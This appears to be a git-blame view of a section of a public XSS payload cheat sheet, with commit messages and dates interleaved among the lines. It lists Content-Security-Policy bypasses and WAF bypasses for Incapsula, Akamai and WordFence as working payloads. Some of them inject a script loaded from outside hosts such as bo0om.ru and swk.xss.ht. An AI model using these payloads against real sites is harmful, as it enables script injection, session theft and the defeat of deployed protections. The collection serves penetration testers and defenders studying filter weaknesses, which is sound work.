-												Cassandra SQL + XSS MD + PHP Type Juggling

											
										
										
											2018-09-10 18:40:43 +00:00
+								Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.withgoogle.com) and the post : [How to use Google’s CSP Evaluator to bypass CSP](https://blog.thomasorlita.cz/vulns/google-csp-evaluator/)
-												XSS CSP Bypass + PostgreSQL read/write

											
										
										
											2018-09-01 13:36:33 +00:00
+								### Bypass CSP using JSONP from Google (Trick by [@apfeifer27](https://twitter.com/apfeifer27))
 								//google.com/complete/search?client=chrome&jsonp=alert(1);
 								```js
 								<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
 								```
-												CSP bypass fix link

											
										
										
											2018-09-01 13:38:57 +00:00
+								### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)
-												XSS CSP Bypass + PostgreSQL read/write

											
										
										
											2018-09-01 13:36:33 +00:00
 								Works for CSP like `Content-Security-Policy: default-src 'self' 'unsafe-inline';`, [POC here](http://hsts.pro/csp.php?xss=f=document.createElement%28"iframe"%29;f.id="pwn";f.src="/robots.txt";f.onload=%28%29=>%7Bx=document.createElement%28%27script%27%29;x.src=%27//bo0om.ru/csp.js%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29;)
 								```js
 								script=document.createElement('script');
 								script.src='//bo0om.ru/csp.js';
 								window.frames[0].document.head.appendChild(script);
 								```
 								### Bypass CSP by [Rhynorater](https://gist.github.com/Rhynorater/311cf3981fda8303d65c27316e69209f)
 								```js
 								d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://swk.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
 								```
-												PDF JS

											
										
										
											2018-09-06 18:28:30 +00:00
+								### Bypass CSP by [@akita_zen](https://twitter.com/akita_zen)
 								Works for CSP like `script-src self`
 								```js
 								<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
 								```
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								## Common WAF Bypass
-												Multiple update in READMEs + RCE tricks

											
										
										
											2018-08-11 22:17:58 +00:00
+								### Chrome Auditor - 9th august
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Multiple update in READMEs + RCE tricks

											
										
										
											2018-08-11 22:17:58 +00:00
+								```javascript
 								</script><svg><script>alert(1)-%26apos%3B
 								```
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												Multiple update in READMEs + RCE tricks

											
										
										
											2018-08-11 22:17:58 +00:00
+								Live example by @brutelogic - [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c1=</script><svg><script>alert(1)-%26apos%3B)
-												Credit fix - WAF bypass

											
										
										
											2018-11-09 11:43:30 +00:00
+								### Incapsula WAF Bypass by [@Alra3ees](https://twitter.com/Alra3ees/status/971847839931338752)- 8th march
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
-												SQLmap tips + Active Directory attacks + SQLite injections

											
										
										
											2018-03-12 08:17:31 +00:00
+								anythinglr00</script><script>alert(document.domain)</script>uxldz
 								anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
 								```
-												AWS added, XSS and methodology update

											
										
										
											2016-11-11 09:03:35 +00:00
-												Credit fix - WAF bypass

											
										
										
											2018-11-09 11:43:30 +00:00
+								### Incapsula WAF Bypass by [@c0d3G33k](https://twitter.com/c0d3G33k) - 11th september
-												SQL injection - Intruders payloads

											
										
										
											2018-09-21 16:44:32 +00:00
 								```javascript
 								<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
 								```
-												Credit fix - WAF bypass

											
										
										
											2018-11-09 11:43:30 +00:00
+								### Akamai WAF Bypass by [@zseano](https://twitter.com/zseano) - 18th june
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
-												XSS Colors highlighting + JS code eval

											
										
										
											2018-06-27 18:00:17 +00:00
+								```javascript
 								?"></script><base%20c%3D=href%3Dhttps:\mysite>
 								```
-												JWT JSON Web Token + SSI files

											
										
										
											2018-10-29 21:22:10 +00:00
+								### Akamai WAF Bypass by [@s0md3v](https://twitter.com/s0md3v/status/1056447131362324480) - 28th october
 								```html
 								<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
 								```
-												Credit fix - WAF bypass

											
										
										
											2018-11-09 11:43:30 +00:00
+								### WordFence WAF Bypass by [@brutelogic](https://twitter.com/brutelogic) - 12th september
-												SQL injection - Intruders payloads

											
										
										
											2018-09-21 16:44:32 +00:00
 								```javascript
 								<a href=javas&#99;ript:alert(1)>
 								```
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								## More fun
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
+								This section will be used for the "fun/interesting/useless" stuff.
 								Use notification box instead of an alert - by [@brutelogic](https://twitter.com/brutelogic)
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
+								Note : it requires user permission
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
 								```javascript
-												Traversal Dir + NoSQL major updates + small addons

											
										
										
											2018-02-15 22:27:42 +00:00
+								Notification.requestPermission(x=>{new(Notification)(1)})
 								```
-												Multiple update in READMEs + RCE tricks

											
										
										
											2018-08-11 22:17:58 +00:00
+								Try here : [https://brutelogic.com.br/xss.php](https://brutelogic.com.br/xss.php?c3=%27;Notification.requestPermission(x=>%7Bnew(Notification)(1)%7D)//)
-												Init directory with README

											
										
										
											2016-10-18 08:01:56 +00:00
+								## Thanks to
-												Markdown formatting update

											
										
										
											2018-08-12 21:30:22 +00:00
 								- [Unleashing-an-Ultimate-XSS-Polyglot](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot)
 								- tbm
 								- [(Relative Path Overwrite) RPO XSS - Infinite Security](http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html)
 								- [RPO TheSpanner](http://www.thespanner.co.uk/2014/03/21/rpo/)
 								- [RPO Gadget - innerthmtl](http://blog.innerht.ml/rpo-gadgets/)
-												Markdown formatting - Part 2

											
										
										
											2018-08-13 10:01:13 +00:00
+								- [Relative Path Overwrite - Detectify](http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite)
 								- [XSS ghettoBypass - d3adend](http://d3adend.org/xss/ghettoBypass)
 								- [XSS without HTML: Client-Side Template Injection with AngularJS](http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html)
 								- [XSSING WEB PART - 2 - Rakesh Mane](http://blog.rakeshmane.com/2017/08/xssing-web-part-2.html)
 								- [Making an XSS triggered by CSP bypass on Twitter. @tbmnull](https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5)
 								- [Ways to alert(document.domain) - @tomnomnom](https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309)